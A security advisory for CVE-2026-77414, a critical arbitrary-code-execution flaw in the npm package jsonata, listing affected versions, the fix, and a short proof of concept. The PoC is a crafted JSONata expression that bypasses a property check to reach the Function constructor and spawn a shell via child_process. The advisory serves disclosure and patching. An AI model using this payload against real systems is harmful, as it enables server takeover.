GHSA-2943-5xfg-gq5f

Source

https://github.com/advisories/GHSA-2943-5xfg-gq5f

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2943-5xfg-gq5f/GHSA-2943-5xfg-gq5f.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-2943-5xfg-gq5f

Aliases

CVE-2026-77414

Downstream

MINI (3)

Published

2026-08-21T20:58:01Z

Modified

2026-08-21T21:10:59Z

Severity

9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator

Summary

JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions

Details

Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871

This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.

PoC

import jsonata from "jsonata";

const expression = jsonata(`
(
     $hasOwnProperty := $spread($string);
     $__proto__ := $constructor;
     $constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);

await expression.evaluate({});

Database specific

{
    "cwe_ids":  [
        "CWE-94"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-08-21T20:58:01Z",
    "nvd_published_at":  null,
    "severity":  "CRITICAL"
}

References

Affected packages

npm / jsonata

Package

Name: jsonata; View open source insights on deps.dev
Purl: pkg:npm/jsonata

Affected ranges

Type: SEMVER
Events: Introduced

2.0.0

Fixed

2.2.1

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2943-5xfg-gq5f/GHSA-2943-5xfg-gq5f.json"

npm / jsonata

Package

Name: jsonata; View open source insights on deps.dev
Purl: pkg:npm/jsonata

Affected ranges

Type: SEMVER
Events: Introduced

0 Unknown introduced version / All previous versions are affected

Fixed

1.8.8

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-2943-5xfg-gq5f/GHSA-2943-5xfg-gq5f.json"